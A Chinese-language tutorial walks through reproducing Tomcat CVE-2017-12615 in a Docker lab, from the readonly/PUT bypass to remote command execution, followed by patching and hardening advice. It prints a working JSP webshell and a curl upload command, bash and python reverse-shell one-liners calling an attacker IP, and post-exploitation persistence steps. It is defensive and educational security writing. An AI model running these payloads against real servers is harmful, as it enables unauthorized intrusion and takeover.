Tomcat CVE-2017-12615漏洞原理与实战复现:从任意文件上传到RCE
1. 项目概述与背景最近在整理内部安全测试的案例库翻到了一个老但经典的漏洞——Tomcat的CVE-2017-12615。这个漏洞虽然已经过去好几年了但它在Web安全学习路径上尤其是针对Java中间件的漏洞理解依然是一个绕不开的“里程碑”。很多刚接触安全测试的朋友可能对“任意文件上传”这种漏洞类型有概念但具体到Tomcat这个庞然大物上它是怎么因为一个配置问题就“城门洞开”的其中的细节和利用条件往往一知半解。今天我就以一个老运维兼安全爱好者的视角带大家从头到尾、手把手地复现一遍这个漏洞不仅告诉你“怎么做”更重要的是拆解清楚“为什么能这么做”以及在实际环境中如何识别和防御。简单来说CVE-2017-12615是Apache Tomcat的一个远程代码执行漏洞。在特定配置下默认配置就中招攻击者能够通过构造特殊的HTTP PUT请求绕过安全限制向服务器上传一个包含恶意代码的JSP文件从而获得服务器的命令执行权限。它影响的范围主要是Tomcat 7.x、8.x和9.x的某些版本核心的触发点在于对readonly初始化参数和HTTP PUT方法处理的逻辑缺陷。复现这个漏洞不仅能让你直观感受到配置不当带来的巨大风险也是理解Tomcat请求处理流程、安全过滤器机制的一个绝佳实践。2. 漏洞原理深度剖析要真正理解一个漏洞光会利用脚本是远远不够的必须深入到它的原理层面。CVE-2017-12615的根源在于Tomcat对DefaultServlet的配置和处理逻辑存在缺陷。2.1 核心组件DefaultServlet 与 readonly 参数Tomcat作为一个Servlet容器其内置了一个名为DefaultServlet的组件它的主要职责是处理对静态资源如HTML、图片、CSS文件的请求。在conf/web.xml这个全局配置文件中你可以找到它的定义。其中有一个关键的初始化参数叫做readonly。当readonly设置为true这是默认值时DefaultServlet会拒绝处理PUT、DELETE等HTTP方法只允许GET和HEAD这是一种安全防护措施。问题在于这个安全检查逻辑可以被绕过。2.2 漏洞触发链条逻辑缺陷与解析歧义漏洞的触发涉及两个关键点它们像两把锁但锁芯都有问题。第一把锁readonly 参数的绕过在受影响的Tomcat版本中即使你在web.xml里将DefaultServlet的readonly参数设为true代码中仍然存在一个逻辑缺陷。当请求的URL路径以斜杠/结尾时DefaultServlet在处理PUT请求前会错误地判断该请求不是针对一个文件因为它以/结尾看起来像个目录从而跳过了对readonly参数的检查。这是第一个逻辑漏洞。第二把锁文件名解析的“后门”即使绕过了readonly检查Tomcat在保存文件时还会对文件名进行安全校验防止上传.jsp或.jspx等可执行脚本。然而这里存在一个解析歧义。Tomcat在匹配请求URL和寻找对应的Servlet时使用了不同的解析器。攻击者可以利用这一点通过构造特殊的文件名来绕过校验。最经典的两种绕过方式是斜杠结尾绕过上传文件名为shell.jsp/。在安全检查时由于以/结尾可能不被识别为.jsp文件但在最终映射到文件系统路径时末尾的/会被忽略或导致路径错误从而可能使文件以.jsp扩展名被创建。Windows环境下的流分隔符绕过在Windows系统中可以使用::$DATA等NTFS流特性。上传文件名为shell.jsp::$DATA。Tomcat在安全检查时可能不认为这是.jsp文件但Windows文件系统在创建文件时会自动忽略::$DATA最终生成一个实实在在的shell.jsp文件。漏洞利用链总结攻击者发送一个PUT请求请求的URL路径以/结尾绕过readonly检查并且文件名中包含绕过后缀检查的字符如/或::$DATA。Tomcat错误地允许了该请求并将包含恶意JSP代码的文件体保存到了服务器Web目录下从而实现了任意文件上传。注意第二种绕过方式::$DATA严格依赖于Windows服务器和NTFS文件系统。在Linux环境下通常无效。因此在复现时我们需要根据目标系统选择正确的绕过方式。2.3 影响版本与配置前提这个漏洞并非在所有Tomcat安装上都能利用它有明确的生效条件受影响版本Apache Tomcat 7.0.0 至 7.0.79、8.5.0 至 8.5.16、9.0.0.M1 至 9.0.1。如果你用的版本在此范围内就需要特别注意。必要配置目标Web应用必须允许HTTP PUT方法。这通常意味着没有在应用的web.xml或通过过滤器显式禁止PUT。对于很多默认部署的Tomcat或者一些管理后台、文件上传功能不完善的应用这个条件很可能满足。DefaultServlet生效请求的路径需要由DefaultServlet来处理通常是对应于Web应用根目录下不存在对应Servlet或JSP的静态资源路径。3. 复现环境搭建与配置“工欲善其事必先利其器”。一个干净、隔离的复现环境是安全研究的第一步既能防止误伤生产系统也方便我们反复测试和调试。3.1 环境选择与工具准备我推荐使用Docker来搭建漏洞环境这是最快、最干净的方式。如果你对Docker不熟把它想象成一个轻量级的虚拟机软件就行它能一键拉取并运行一个配置好的Tomcat镜像。安装Docker根据你的操作系统Windows/macOS/Linux去Docker官网下载并安装Docker Desktop或Docker Engine。安装完成后打开终端或PowerShell、CMD输入docker --version确认安装成功。获取漏洞镜像安全社区有很多维护好的漏洞靶场镜像。这里我们使用非常流行的vulhub项目。在终端中执行以下命令# 拉取 vulhub 的 Tomcat 漏洞环境镜像这里以Tomcat 7.0.79为例这是受影响版本 docker pull vulhub/tomcat:7.0.79如果拉取速度慢可以配置国内的Docker镜像加速器。启动漏洞环境运行以下命令启动一个Tomcat 7.0.79容器docker run -d -p 8080:8080 --name tomcat-cve-2017-12615 vulhub/tomcat:7.0.79-d后台运行。-p 8080:8080将宿主机的8080端口映射到容器的8080端口Tomcat默认端口。--name给容器起个名字方便管理。验证环境打开浏览器访问http://你的宿主机IP:8080。如果看到Tomcat 7的默认欢迎页面有只猫说明环境启动成功。3.2 关键配置检查与确认虽然我们用的漏洞镜像已经预设了条件但了解如何手动检查和配置同样重要。这能帮助你在真实环境中判断风险。连接到正在运行的Docker容器内部docker exec -it tomcat-cve-2017-12615 /bin/bash进入容器后查看Tomcat的核心配置文件cat /usr/local/tomcat/conf/web.xml | grep -A 5 -B 5 “DefaultServlet”你应该能看到类似下面的配置片段servlet servlet-namedefault/servlet-name servlet-classorg.apache.catalina.servlets.DefaultServlet/servlet-class init-param param-namereadonly/param-name param-valuetrue/param-value /init-param load-on-startup1/load-on-startup /servlet注意这里的readonly是true但这正是漏洞存在的前提需要配合逻辑绕过。同时检查web.xml中是否有全局的security-constraint来限制PUT方法。在漏洞镜像中通常是没有的。实操心得在真实企业环境进行安全评估时除了检查版本号一定要查看web.xml中关于DefaultServlet和HTTP方法限制的配置。一个常见的加固措施就是显式添加安全约束禁止不必要的HTTP方法。4. 漏洞复现实操步骤环境准备好了原理也清楚了现在让我们动手看看攻击者是如何一步步利用这个漏洞的。我们将使用最常用的工具curl命令行和浏览器。4.1 信息收集与初步探测首先我们需要确认目标Tomcat是否真的存在这个漏洞。一个简单的探测方法是尝试发送一个PUT请求看服务器是否响应201 Created或204 No Content而不是403 Forbidden或405 Method Not Allowed。在宿主机运行Docker的机器上打开一个新的终端执行curl -v -X PUT http://localhost:8080/test.txt-v显示详细输出便于观察HTTP状态码和头部。-X PUT指定使用PUT方法。观察返回结果。如果返回状态码是403可能意味着目标路径受权限限制或readonly检查生效。如果返回201或204则说明服务器接受了PUT请求这是一个危险信号。但请注意仅仅接受PUT请求并不代表漏洞一定存在还需要能上传JSP文件。4.2 利用漏洞上传WebShell假设我们的目标是上传一个JSP的WebShell一种用于远程管理网站的小脚本。我们准备一个最简单的JSP Shell内容如下将其保存为一个文本文件比如shell.jsp% page importjava.util.*,java.io.*% % if (request.getParameter(cmd) ! null) { Process p Runtime.getRuntime().exec(request.getParameter(cmd)); OutputStream os p.getOutputStream(); InputStream in p.getInputStream(); DataInputStream dis new DataInputStream(in); String disr dis.readLine(); while ( disr ! null ) { out.println(disr); disr dis.readLine(); } } %这个脚本会接收一个名为cmd的HTTP参数并在服务器上执行该命令将结果输出到网页。现在我们使用curl利用漏洞的绕过技巧来上传这个文件。这里演示在Linux/容器环境下最常用的斜杠结尾绕过方式# 将上面JSP代码直接通过echo写入一个变量然后使用curl PUT上传 # 注意URL路径末尾的‘/’这是绕过关键 curl -v -X PUT \ --data-binary “% page import\java.util.*,java.io.*\%%if (request.getParameter(\cmd\) ! null) { Process p Runtime.getRuntime().exec(request.getParameter(\cmd\)); OutputStream os p.getOutputStream(); InputStream in p.getInputStream(); DataInputStream dis new DataInputStream(in); String disr dis.readLine(); while ( disr ! null ) { out.println(disr); disr dis.readLine(); } }%” \ http://localhost:8080/shell.jsp/关键点解析-X PUT使用PUT方法。--data-binary确保数据以二进制形式发送避免curl对特殊字符进行转义。http://localhost:8080/shell.jsp/注意URL末尾的斜杠/。这就是我们原理部分讲到的第一个绕过点它让DefaultServlet误以为这是一个目录请求从而跳过了readonlytrue的检查。请求体内容就是我们刚才编写的JSP代码。执行命令后仔细观察返回的HTTP状态码。如果成功你应该会看到HTTP/1.1 201 Created。这表示文件已经成功创建在服务器上。4.3 验证利用成功与命令执行上传成功后我们需要验证文件是否真的以.jsp文件的形式存在并且能够被Tomcat解析执行。验证文件存在可以尝试访问上传的文件但去掉末尾的/。curl -v http://localhost:8080/shell.jsp如果返回状态码是200并且页面没有报JSP语法错误可能是一片空白或只有我们代码里的HTML注释说明文件存在且被Tomcat当作JSP加载了即使还没执行命令。执行系统命令现在通过WebShell执行命令。我们传递cmd参数例如查看当前目录curl http://localhost:8080/shell.jsp?cmdls-la或者更直观地直接在浏览器中访问http://localhost:8080/shell.jsp?cmdwhoami如果页面上显示了当前Linux用户的用户名如root或tomcat或者ls -la命令列出了Web目录下的文件列表那么恭喜你漏洞复现成功你已经通过这个漏洞在Tomcat服务器上实现了远程命令执行。Windows环境下的差异 如果你复现的目标是Windows系统下的Tomcat那么绕过方式可能需要使用::$DATA。上传请求的URL会类似这样http://target/shell.jsp::$DATA。但请注意这种方式高度依赖Windows和NTFS在Docker Linux容器中无效。重要警告以上所有操作仅限于你自己搭建的、完全可控的测试环境。严禁对任何未经授权的系统进行测试这是违法行为。5. 漏洞深度利用与拓展思考成功上传一个简单的命令执行WebShell只是第一步。在真实的渗透测试或安全评估中攻击者会追求更稳定、更隐蔽、功能更强大的控制方式。5.1 从WebShell到稳定反弹Shell通过URL传递命令的WebShell虽然方便但不够稳定每次命令执行都是独立的进程且输出可能受网络和页面渲染影响。更高级的做法是获取一个反向Shell即将目标服务器的命令行会话反弹到攻击者控制的机器上。假设攻击者的IP是192.168.1.100监听端口为4444。他可以在目标服务器上使用多种方法建立反弹Shell例如利用bash、python、ncnetcat等。通过已上传的WebShell执行如下命令需要目标服务器上有相应的工具# 通过WebShell执行假设WebShell地址为 /shell.jsp # 使用bash反弹 curl “http://localhost:8080/shell.jsp?cmdbash-c‘bash-i%26/dev/tcp/192.168.1.100/44440%261’” # 使用python反弹 curl “http://localhost:8080/shell.jsp?cmdpython-c‘importsocket,subprocess,os;ssocket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\192.168.1.100\,4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);psubprocess.call([\/bin/bash\,\-i\]);’”在攻击者机器上需要提前用nc监听相应端口nc -lvnp 4444如果成功你会在攻击者机器的终端上获得一个来自目标Tomcat服务器的交互式Shell权限通常是运行Tomcat的用户如tomcat或root。5.2 权限维持与内网渗透获得初始立足点后攻击者通常会进行以下操作信息收集查看系统信息 (uname -a)、网络配置 (ifconfig或ip addr)、进程列表 (ps aux)、历史命令 (history) 等。权限提升尝试利用系统内核漏洞或配置缺陷将当前用户权限提升至root。例如检查sudo权限 (sudo -l)寻找SUID文件 (find / -perm -us -type f 2/dev/null)。持久化后门在服务器上植入更隐蔽的后门如添加SSH密钥、创建计划任务cron、写入启动脚本等确保即使WebShell被删除也能再次访问。内网横向移动以当前服务器为跳板扫描和攻击内网中的其他机器。这可能包括ARP欺骗、端口扫描、利用内网通用漏洞如永恒之蓝的MS17-010等。5.3 漏洞利用的限制与变种CVE-2017-12615的利用并非总是一帆风顺会遇到一些限制文件上传目录上传的文件位于哪个Web应用的路径下是否有执行权限如果上传到了静态资源目录且该目录被配置为不可执行脚本那么JSP文件也不会被执行。安全管理器Security Manager如果Tomcat启用了Java安全管理器可能会严格限制JSP脚本的执行权限导致命令执行失败。WAF与防护软件现代WAFWeb应用防火墙或主机安全软件可能会检测和拦截异常的PUT请求或特定的攻击载荷。因此在实战中攻击载荷可能需要做混淆、编码或分块上传。例如将JSP代码进行Base64编码然后在WebShell中解码写入文件。或者利用漏洞先上传一个文本文件再通过其他方式如文件包含漏洞将其转换为可执行脚本。6. 漏洞修复与安全加固方案复现漏洞是为了更好地防御。针对CVE-2017-12615官方和社区提供了多层次的修复和加固建议。6.1 官方补丁与版本升级最根本的解决方法是升级到不受影响的Tomcat版本。Apache官方在以下版本中修复了此漏洞Tomcat 7.x 系列升级到7.0.81或更高版本。Tomcat 8.5.x 系列升级到8.5.17或更高版本。Tomcat 9.x 系列升级到9.0.2或更高版本。升级前务必在测试环境充分验证确保业务应用兼容新版本。6.2 临时缓解与配置加固如果因为某些原因无法立即升级可以采取以下立即可行的加固措施禁用HTTP PUT方法推荐在应用的WEB-INF/web.xml或Tomcat的全局conf/web.xml中添加安全约束显式禁止PUT和DELETE方法。security-constraint web-resource-collection web-resource-nameRestricted Methods/web-resource-name url-pattern/*/url-pattern http-methodPUT/http-method http-methodDELETE/http-method /web-resource-collection auth-constraint/ /security-constraint这段配置会对所有URL路径禁用PUT和DELETE方法返回403 Forbidden。配置readonly参数为true并确保其生效虽然默认就是true但可以再次确认。更重要的是检查是否有其他配置或代码覆盖了DefaultServlet的行为。限制可执行脚本的目录确保只有特定的目录如/WEB-INF/、/META-INF/可以存放JSP等动态脚本而静态资源目录如图片、CSS存放目录禁止执行脚本。这可以通过在conf/web.xml中为DefaultServlet和JspServlet配置精确的url-pattern来实现。部署Web应用防火墙WAF在Tomcat前端部署WAF可以配置规则来识别和拦截恶意的PUT请求特别是那些包含/、::$DATA等绕过字符的请求。6.3 安全开发与运维最佳实践除了针对这个漏洞的修补建立良好的安全习惯更能防患于未然最小权限原则运行Tomcat的进程用户如tomcat应该是一个非特权用户只拥有运行所必需的最小文件和目录权限。避免使用root用户直接运行Tomcat。定期更新与漏洞扫描订阅Tomcat的安全公告定期更新版本。使用漏洞扫描工具如Nessus, OpenVAS或软件成分分析SCA工具定期扫描中间件和依赖库。安全配置基线参考CIS互联网安全中心等机构发布的Tomcat安全配置基线对生产环境的Tomcat进行加固。日志审计与监控开启Tomcat的访问日志和错误日志并集中收集分析。监控异常的PUT请求、对.jsp文件的非正常访问等行为。7. 复现过程中的常见问题与排查即使是按照步骤操作复现过程中也可能遇到各种问题。这里我总结了一些常见的“坑”和解决方法。7.1 问题排查速查表问题现象可能原因排查步骤与解决方案curl -X PUT返回403 Forbidden1.readonly参数检查生效且未被绕过。2. 全局安全约束已禁止PUT方法。3. 目标路径无写权限。1.确认URL格式确保PUT请求的URL以斜杠/结尾如http://target/shell.jsp/。2.检查配置文件进入容器查看conf/web.xml确认没有全局的security-constraint禁止PUT。3.尝试不同路径尝试在Web应用根目录下不存在的路径上传确保由DefaultServlet处理。curl -X PUT返回404 Not Found请求的URL路径可能对应了一个不存在的Servlet或资源但Tomcat的某个过滤器或Valve拒绝了该请求。1.确认Tomcat运行正常先访问http://target:8080看默认页是否存在。2.检查应用上下文路径如果Tomcat部署了特定应用如/myappPUT请求的URL应为http://target:8080/myapp/shell.jsp/。上传成功返回201但访问shell.jsp返回404或5001. 文件未以.jsp扩展名实际创建绕过失败。2. 文件创建在了错误目录。3. JSP语法错误。1.检查实际文件进入Docker容器到webapps/ROOT/目录下查看是否生成了shell.jsp文件注意不是shell.jsp/目录。ls -la webapps/ROOT/。2.确认绕过方式Linux下用/结尾Windows下用::$DATA。确保环境匹配。3.简化Payload先上传一个最简单的JSP文件测试如仅包含% out.println(“test”); %。访问shell.jsp?cmdwhoami返回空白页或错误1. 命令执行被禁用如Security Manager。2. 运行Tomcat的用户权限过低无法执行某些命令。3. 命令输出被吞或编码问题。1.检查用户权限在WebShell中执行whoami和id查看当前用户。2.测试简单命令尝试执行pwd或echo hello看是否有输出。3.查看Tomcat日志catalina.out或localhost.log中可能有JSP执行错误信息。docker logs tomcat-cve-2017-12615。Docker容器无法启动或端口冲突1. 端口8080已被宿主机其他程序占用。2. 镜像拉取失败。1.更改映射端口将-p 8080:8080改为-p 8888:8080然后访问http://localhost:8888。2.检查Docker服务运行docker ps和docker images确认Docker运行正常且镜像存在。3.清理旧容器docker rm -f tomcat-cve-2017-12615后重试。7.2 高级调试技巧如果上述方法都无法解决问题可能需要更深入的调试深入容器内部使用docker exec -it tomcat-cve-2017-12615 /bin/bash进入容器直接查看Tomcat的日志文件通常位于/usr/local/tomcat/logs/。重点关注catalina.out标准输出错误和localhost.yyyy-mm-dd.log应用访问日志。修改日志级别为了更详细地看到请求处理过程可以临时修改Tomcat的日志级别。编辑conf/logging.properties将org.apache.catalina.core.ContainerBase.[Catalina].[localhost].level设置为FINE或ALL然后重启Tomcat在容器内执行/usr/local/tomcat/bin/shutdown.sh和startup.sh。注意这会产生大量日志仅用于调试。使用Burp Suite等代理工具图形化工具有时比curl更直观。将浏览器或攻击脚本的流量代理到Burp Suite可以清晰地看到原始的HTTP请求和响应方便修改和重放攻击Payload。7.3 我踩过的坑与心得环境隔离是关键最早我在自己的开发机上直接安装旧版Tomcat测试结果不小心影响了本地其他服务。强烈建议所有漏洞复现都在虚拟化或容器化环境进行用完即删。“成功上传”不等于“成功利用”有一次复现PUT请求返回201但访问JSP一直404。折腾半天才发现我用的Docker镜像是精简版Web根目录不是常见的webapps/ROOT而是webapps/examples。一定要进入容器确认文件的实际路径和名称。Payload的编码问题在Windows的CMD或PowerShell里用curl发送复杂JSP Payload时引号和特殊字符的转义非常头疼。后来我学乖了先把Payload写到一个文件里然后用--data-binary filename.jsp的方式上传省心又可靠。理解原理比记住工具更重要网上有很多一键化的漏洞利用工具如Metasploit模块。刚开始我依赖它们但遇到稍微变化的环境就傻眼了。后来沉下心去读漏洞分析文章看补丁Diff自己用curl手搓请求虽然慢但解决问题的能力和对漏洞的理解深度完全上了一个台阶。这个CVE-2017-12615就是一个很好的起点它清晰地展示了配置、逻辑绕过的经典模式。漏洞复现不是目的而是通往理解系统安全机制的一座桥梁。通过亲手触发它、分析它、最后修复它你对Tomcat乃至整个Web应用安全的认知才会从“知道”变成“懂得”。希望这篇超详细的复盘能帮你跨过这道门槛。